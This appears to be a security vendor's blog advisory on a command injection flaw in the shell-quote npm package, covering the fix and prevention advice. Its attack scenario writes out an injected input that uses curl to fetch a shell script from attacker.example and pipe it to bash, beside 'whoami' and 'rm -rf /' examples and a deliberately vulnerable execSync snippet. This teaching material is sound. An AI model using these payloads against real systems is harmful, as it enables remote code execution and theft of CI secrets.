Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow attackers to inject and execute arbitrary shell commands. The fix upgrades the dependency to shell-quote 1.8.4 and pins the version using npm's `overrides` field to ensure no transitive dependency can reintroduce the vulnerable version. This type of vulnerability is particularly dangerous in Node.js toolchains where shell-quote is used to safely construct s

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability (CWE-78) in the shell-quote npm package (version 1.8.3), caused by insufficient escaping of line terminator characters that allows attackers to break out of quoted shell arguments and execute arbitrary commands. The fix upgrades shell-quote to version 1.8.4, which properly escapes line terminators, and pins the version via npm's `overrides` field in package.json to prevent transitive dependencies from pulling in the vulnerable version.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to 1.8.4 and pin with npm overrides to prevent transitive re-introduction
riskArbitrary shell command execution if user-controlled strings are passed through shell-quote
languageJavaScript / Node.js
root causeshell-quote 1.8.3 failed to escape newline and carriage-return characters, allowing injection of new shell commands
vulnerabilityCommand Injection via Unescaped Line Terminators

The Quiet Danger Inside Your Build Toolchain

Most developers think of command injection as a web-application problem — an attacker stuffing ; rm -rf / into a form field. But some of the most exploitable injection paths live inside the build and development toolchain, in small utility packages that are trusted implicitly because they are supposed to handle the dangerous escaping for you.

That is exactly the story of CVE-2026-9277 in shell-quote, one of the most widely downloaded npm packages for safely constructing shell command strings in Node.js. Version 1.8.3 contained a critical flaw: it did not escape line terminator characters (newline \n, carriage return \r). On most POSIX shells, a newline is just as effective a command separator as a semicolon — meaning any string that passed through shell-quote and contained a newline could silently inject a second, attacker-controlled command.


The Vulnerability Explained

What shell-quote is supposed to do

The shell-quote library exposes two primary functions:

const quote = require('shell-quote').quote;
const parse = require('shell-quote').parse;

// Safe construction of a shell command from user input
const cmd = quote(['grep', userInput, '/var/log/app.log']);
// Expected output: "grep 'user input here' /var/log/app.log"

The entire value proposition is that quote() will escape anything in userInput that could be interpreted as a shell metacharacter — single quotes, double quotes, backticks, dollar signs, semicolons, and so on. Downstream code trusts this output and passes it to a shell.

The missing escape: line terminators

In shell-quote 1.8.3 (the vulnerable version captured in package-lock.json), the escaping logic did not treat \n (U+000A LINE FEED) or \r (U+000D CARRIAGE RETURN) as special characters requiring escaping. On virtually every POSIX-compatible shell, a newline character inside a command string terminates the current command and begins a new one — identical in effect to a semicolon or &&.

Consider what happens when userInput is:

legitimate-search-term\nwhoami > /tmp/pwned

With shell-quote 1.8.3, quote(['grep', userInput, '/var/log/app.log']) would produce something like:

grep 'legitimate-search-term
whoami > /tmp/pwned' /var/log/app.log

The shell sees the embedded newline, terminates the grep command at that point, and executes whoami > /tmp/pwned as a completely separate command — with whatever privileges the Node.js process holds.

Why this is rated CRITICAL

The CVSS rating reflects several compounding factors:

  • No authentication required: any code path that feeds externally influenced data into quote() is potentially exposed.
  • Full command execution: the attacker is not limited to reading data; they can write files, exfiltrate secrets, install backdoors, or pivot to other systems.
  • Trusted library: developers explicitly chose shell-quote because they wanted safe escaping, so they are unlikely to add a second layer of validation.
  • Transitive exposure: shell-quote appears deep in many dependency trees (build tools, linters, test runners), so the vulnerable code may be present even in projects that never directly require('shell-quote').

Attack scenario

Imagine a Node.js CI helper script that takes a branch name from a webhook payload and uses it to run tests:

const { quote } = require('shell-quote'); // 1.8.3
const { execSync } = require('child_process');

function runTestsForBranch(branchName) {
  const cmd = quote(['npm', 'test', '--branch', branchName]);
  execSync(cmd, { shell: true });
}

An attacker who can influence branchName — via a forged webhook, a pull-request title, or a compromised upstream repository — sends:

main\ncurl https://attacker.example/shell.sh | bash

The shell-quote 1.8.3 output passes the newline through unescaped. execSync invokes a shell, which splits on the newline, runs npm test --branch main normally, and then silently executes the curl pipe. The CI runner's credentials, secrets, and network access are now in the attacker's hands.


The Fix

What changed in package-lock.json

The diff shows a targeted version bump for the node_modules/shell-quote entry:

-      "version": "1.8.3",
-      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
-      "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",
+      "version": "1.8.4",
+      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.4.tgz",
+      "integrity": "sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==",

Version 1.8.4 adds explicit escaping for line terminator characters so that \n and \r inside a quoted argument are rendered as the literal two-character sequences $'\n' or $'\r' (or equivalent safe representations), rather than being passed through verbatim. The shell therefore sees them as data inside a quoted string, not as command separators.

What changed in package.json — and why it matters

The second file change is equally important:

+  "overrides": {
+    "shell-quote": "1.8.4"
+  }

npm's overrides field (introduced in npm 8.3) forces every occurrence of shell-quote in the entire dependency tree — direct and transitive — to resolve to 1.8.4. Without this addition, updating the direct dependency is not enough: any transitive dependency that declares "shell-quote": "^1.8.0" or similar would still be free to resolve to 1.8.3. The override closes that gap unconditionally.

Before vs. after at a glance

Aspect Before (1.8.3) After (1.8.4)
Line terminators in input Passed through unescaped Escaped to safe representations
Transitive version control None Pinned via overrides
Integrity hash sha512-ObmnIF4h… sha512-VsC6n6vz…
Attack surface Newline injection possible Newline injection blocked

Prevention & Best Practices

1. Prefer argument arrays over shell strings

The safest way to avoid shell injection entirely is to never invoke a shell at all:

// RISKY — passes a string to a shell
execSync(quote(['grep', userInput, file]), { shell: true });

// SAFE — no shell involved; OS passes arguments directly
execFileSync('grep', [userInput, file]);

execFile and spawn (without shell: true) bypass the shell completely, making escaping libraries irrelevant for those call sites.

2. Keep quoting libraries current and pinned

  • Subscribe to security advisories for every dependency that touches shell construction (shell-quote, execa, cross-spawn, etc.).
  • Use overrides (npm) or resolutions (Yarn) to enforce safe versions across your entire dependency tree, not just at the top level.
  • Run npm audit or a dedicated scanner (Trivy, Snyk, Socket) in CI so new CVEs are caught before they reach production.

3. Validate input before it reaches the quoting layer

Even with a correct quoting library, a defense-in-depth approach validates that input matches an expected pattern before quoting it:

const SAFE_BRANCH = /^[a-zA-Z0-9._/-]{1,200}$/;

function runTestsForBranch(branchName) {
  if (!SAFE_BRANCH.test(branchName)) {
    throw new Error(`Unsafe branch name rejected: ${branchName}`);
  }
  execFileSync('npm', ['test', '--branch', branchName]);
}

4. Apply the principle of least privilege

Even if command injection succeeds, a process running as a low-privilege user with no network egress and read-only filesystem access severely limits the blast radius. Use containers, seccomp profiles, and minimal IAM roles for any process that handles untrusted input.

5. Reference standards

  • OWASP OS Command Injection Defense Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command: https://cwe.mitre.org/data/definitions/78.html
  • OWASP Top 10 A03:2021 – Injection: https://owasp.org/Top10/A03_2021-Injection/

Key Takeaways

  • Line terminators are shell metacharacters. Any escaping library that does not neutralize \n and \r is incomplete and exploitable — shell-quote 1.8.3 is a concrete example.
  • Updating package-lock.json alone is not enough. Without an overrides entry in package.json, transitive dependencies can silently re-resolve to the vulnerable version after the next npm install.
  • Trust but verify your quoting libraries. The fact that shell-quote exists to prevent injection does not mean every version of it is correct; treat it like any other security-critical dependency and pin it explicitly.
  • execFile / spawn without shell: true eliminates this entire class of risk for call sites where you control the executable name and can pass arguments as an array.
  • Static analysis caught what code review missed. Trivy flagged the vulnerable version in package-lock.json automatically — a reminder that automated scanning is a necessary complement to manual review for transitive dependency vulnerabilities.

How Orbis AppSec Detected This

  • Source: Any externally influenced string (HTTP request parameters, webhook payloads, environment variables, file contents) passed as an argument to shell-quote's quote() function.
  • Sink: The quote() call in shell-quote 1.8.3 (node_modules/shell-quote), whose output is subsequently passed to a shell via execSync, exec, or equivalent with { shell: true }.
  • Missing control: The escaping routine in shell-quote 1.8.3 did not include line terminator characters (\n, \r) in its set of characters requiring escaping, leaving a bypass for the library's core security guarantee.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Upgraded shell-quote from 1.8.3 to 1.8.4 in package-lock.json and added an overrides entry in package.json to enforce the safe version across all transitive dependencies.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-9277 is a sharp reminder that security libraries are not immune to security vulnerabilities. shell-quote was adopted precisely to prevent command injection, yet a single missing character class — line terminators — was enough to make version 1.8.3 exploitable. The fix is straightforward: upgrade to 1.8.4 and use npm overrides to ensure no corner of your dependency tree can pull the vulnerable version back in. Longer term, prefer execFile with argument arrays over shell strings wherever possible, and integrate automated dependency scanning into your CI pipeline so the next CVE is caught before it ships.


References

Frequently Asked Questions

What is command injection?

Command injection is an attack where an adversary injects shell metacharacters into a string that is later passed to a shell interpreter, causing the shell to execute attacker-controlled commands alongside (or instead of) the intended ones.

How do you prevent command injection in Node.js?

Use parameterized APIs such as child_process.execFile() with argument arrays instead of shell strings, keep shell-quoting libraries up to date, and validate or reject input containing shell metacharacters including line terminators.

What CWE is command injection?

Command injection maps to CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

Is escaping user input enough to prevent command injection?

Only if the escaping is complete and correct. CVE-2026-9277 shows that missing even one class of special characters — line terminators — is enough to break an otherwise well-intentioned escaping library.

Can static analysis detect command injection?

Yes. Tools like Trivy (which flagged this CVE), Semgrep, and Snyk can trace tainted data from user-controlled sources to dangerous shell execution sinks and flag missing or incomplete sanitization.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #138

Related Articles

high

How Command Injection Happens in Node.js Route Handlers and How to Fix It

A high-severity command injection vulnerability was discovered in `webhook/src/routes/bid-requests/create.route.js`, where user-controlled values were passed directly to route handlers without any schema validation. Without input validation, attackers could supply malformed or malicious values — including shell metacharacters — that propagate into downstream command construction, enabling arbitrary command execution. The fix adds strict UUID and type validation middleware directly in the route d

high

How Child Process Command Injection happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/account_manager.js`, where user-controllable input was passed directly to Node.js's `child_process` without sanitization. Alongside this, the companion `src/keyring_helper.py` GNOME Keyring helper lacked any execution guard, meaning any local user could invoke it to read, write, or delete stored OAuth tokens. The fix adds an OS-level ownership check that restricts execution of the keyring helper to the script's owner only.

critical

How Command Injection happens in Node.js CLI scripts and how to fix it

A Node.js CLI script in `scripts/refresh-htv-signature.js` accepted a user-controlled `slug` argument from `process.argv` and interpolated it directly into a URL string without any validation. While the immediate usage was an HTTP request via `axios.get()`, the absence of input sanitization created a pathway for command injection in current and future code paths. The fix adds a strict allowlist regex that rejects any slug not matching `[a-zA-Z0-9_-]+` before it can reach any downstream operation

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `js/cu_linux_executor.js`, where `child_process.execSync()` was used to run shell commands with potentially unsanitized input. The fix replaces shell-based execution with `execFileSync()`, which spawns processes directly without invoking a shell, eliminating the possibility of shell metacharacter injection. This change is a critical defensive hardening step that removes an exploit primitive that could be chained with other weaknes

critical

How Command Injection happens in Python subprocess calls and how to fix it

A critical command injection vulnerability in `host/beectl-py2.py` allowed attackers to pass arbitrary subprocess arguments through a browser extension's JSON configuration, enabling execution of malicious shell commands on the host machine. The fix introduces two new validation functions — `sanitize_args()` and `sanitize_ext()` — that enforce strict type and content constraints on user-controlled input before it reaches the `subprocess` call. This change closes a direct path from browser extens

critical

How eval() Code Injection happens in JavaScript and how to fix it

A critical code injection vulnerability was discovered in `js/lib/jsencrypt.js` at line 195, where a direct `eval()` call executed a JavaScript string shim for the `process` object in browser environments. If an attacker could influence the string passed to `eval()`—through a compromised dependency, a man-in-the-middle attack, or supply chain tampering—they could achieve arbitrary JavaScript execution in any user's browser. The fix replaces the `eval()` call with the equivalent inline JavaScript